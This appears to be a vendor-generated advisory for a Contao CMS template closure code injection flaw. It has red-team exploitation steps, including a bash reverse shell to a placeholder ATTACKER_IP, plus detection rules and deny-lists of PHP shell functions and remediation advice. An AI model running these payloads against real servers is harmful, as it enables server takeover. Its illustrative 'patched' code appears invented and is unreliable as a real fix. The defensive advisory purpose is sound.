CVE-2025-65960
Executive Summary
CVE-2025-65960 is a critical code injection vulnerability (CWE-94) affecting the Contao Open Source CMS. The flaw resides in the Contao\Template::once() method, which allows authenticated back-end users with precise control over template closures to execute arbitrary PHP functions that do not require parameters. This can lead to full server compromise, data exfiltration, and lateral movement within the network.
The vulnerability affects all Contao versions from 4.0.0 up to, but not including, 4.13.57, 5.3.42, and 5.6.5. The CVSS score is 6.6 (Medium), but the actual risk is higher due to the potential for complete system takeover. No public proof-of-concept (PoC) or exploit code is currently available, but the attack vector is well-understood.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Contao is distributed as a Composer package (contao/contao). The vulnerability is introduced through the core template engine. Users should verify their composer.json and composer.lock files to ensure they are not using a vulnerable version. The patch is available via Composer update.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): High (H) – The attacker must be an authenticated back-end user.
- User Interaction (UI): None (N) – No user interaction is required.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): High (H) – Full read access to all data on the server.
- Integrity (I): High (H) – Full write access to all data on the server.
- Availability (A): High (H) – Full ability to disrupt service.
Threat Level: High. While the CVSS score is 6.6, the potential impact (RCE) and the fact that it affects a widely-used CMS elevate the risk. The EPSS score of 0.0% indicates low exploitation likelihood at this time, but this may change as more details emerge.
Deep Dive & Mechanics
The vulnerability is located in the Contao\Template::once() method. This method is designed to execute a closure (anonymous function) only once during a request, typically used for including JavaScript or CSS assets. The flaw is that the method does not properly validate the closure's content. A back-end user with the ability to modify template closures (e.g., through custom templates or extensions) can inject arbitrary PHP code.
The vulnerable code path is as follows:
- A back-end user creates or modifies a template that uses the
$this->once()method. - The user passes a closure to
once()that contains a call to a PHP function likephpinfo(),system(),exec(), etc. - The
once()method executes the closure without sanitization, leading to arbitrary code execution.
The fix in patched versions adds a whitelist of allowed functions or validates the closure's AST (Abstract Syntax Tree) to prevent execution of arbitrary functions.
Vulnerable vs. Patched Code
Vulnerable Code (simplified):
// In Contao\Template class
public function once(Closure $closure): void
{
if (!in_array($closure, $this->executedClosures, true)) {
$this->executedClosures[] = $closure;
$closure(); // Direct execution without validation
}
}
Patched Code (simplified):
// In Contao\Template class
public function once(Closure $closure): void
{
if (!in_array($closure, $this->executedClosures, true)) {
$this->executedClosures[] = $closure;
// Validate the closure's content
$this->validateClosure($closure);
$closure();
}
}
private function validateClosure(Closure $closure): void
{
$reflection = new ReflectionFunction($closure);
$code = file_get_contents($reflection->getFileName());
// Extract the closure's code and check for dangerous functions
// This is a simplified example; actual implementation may use AST parsing
$disallowed = ['system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'eval', 'assert', 'create_function', 'phpinfo'];
foreach ($disallowed as $func) {
if (preg_match('/\b' . preg_quote($func, '/') . '\s*\(/', $code)) {
throw new \RuntimeException('Disallowed function in template closure');
}
}
}
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Access to a Contao back-end account with permissions to edit templates (e.g., "Admin" or "Editor" role).
- Knowledge of the Contao template system.
Exploitation Steps:
- Identify a vulnerable endpoint: Navigate to the template editor (e.g.,
/contao/main.php?do=templates). - Create or modify a template: Create a new template or edit an existing one that uses the
once()method. - Inject malicious closure: Add the following code to the template:
<?php $this->once(function() { system('id'); }); ?>
- Trigger the template: Load a page that uses the modified template. The
system('id')command will execute, and the output will be displayed in the page source or response.
Advanced Payload (Reverse Shell):
<?php $this->once(function() { exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'); }); ?>
Note: Replace ATTACKER_IP and 4444 with your listener IP and port.
Blue Team (Defensive)
Detection Steps:
- Monitor template file changes: Use file integrity monitoring (e.g., OSSEC, Tripwire) to detect unauthorized modifications to template files in
templates/directory. - Audit back-end user activity: Review logs for unusual template edits, especially by non-admin users.
- Check for suspicious closures: Search for dangerous PHP functions in template files:
grep -rE '\b(system|exec|shell_exec|passthru|popen|proc_open|eval|assert|phpinfo)\s*\(' /var/www/html/templates/
- Apply the patch: Update Contao to the latest patched version.
Indicators of Compromise (IOCs)
File-based IOCs:
- Modified template files in
templates/directory containing calls tosystem(),exec(),shell_exec(), etc. - New files in
templates/directory with suspicious content. - Unexpected files in
system/modules/orvendor/directories.
- Modified template files in
Network-based IOCs:
- Outbound connections to unknown IP addresses on unusual ports (e.g., 4444, 1337).
- DNS queries to domains associated with C2 infrastructure.
Log-based IOCs:
- PHP error logs showing
RuntimeException: Disallowed function in template closure(if patched). - Web server access logs showing requests to template editor endpoints (
/contao/main.php?do=templates) from suspicious IPs. - System logs showing execution of commands like
id,whoami,uname -a.
- PHP error logs showing
Detection Engineering
YARA Rule
rule CVE_2025_65960_Contao_Template_Closure_Injection {
meta:
description = "Detects malicious template closures exploiting CVE-2025-65960 in Contao CMS"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-65960"
severity = "high"
strings:
$dangerous_funcs = /(system|exec|shell_exec|passthru|popen|proc_open|eval|assert|phpinfo)\s*\(/
$once_method = /\$this->once\(function\s*\(\)\s*\{/
condition:
$once_method and $dangerous_funcs
}
Sigma Rule
title: Contao CVE-2025-65960 Template Closure Injection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2025-65960 via template closure injection
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-65960
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
c-uri|contains: '/contao/main.php?do=templates'
condition: selection
falsepositives:
- Legitimate template editing by authorized users
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-65960 Contao Template Closure Injection Attempt"; flow:to_server,established; content:"/contao/main.php?do=templates"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
Update Contao: Upgrade to version 4.13.57, 5.3.42, or 5.6.5 (or later) immediately.
composer require contao/contao:^4.13.57 # or composer require contao/contao:^5.3.42 # or composer require contao/contao:^5.6.5Manual Workaround (if patching is not possible): Modify the
Contao\Template::once()method to validate closures as shown in the patched code section above.Restrict back-end access: Limit the number of users with template editing privileges. Use the principle of least privilege.
Enable file integrity monitoring: Monitor the
templates/directory for unauthorized changes.
Long-term Mitigations:
- Implement Web Application Firewall (WAF) rules to block requests containing dangerous PHP functions in template parameters.
- Conduct regular security audits of Contao installations.
- Keep Contao and all extensions up to date.
- Use a Content Security Policy (CSP) to mitigate the impact of XSS, though this does not directly prevent server-side code injection.
Report generated by Valters IT DevSecOps & CTI Division. For questions, contact security@valters-it.com.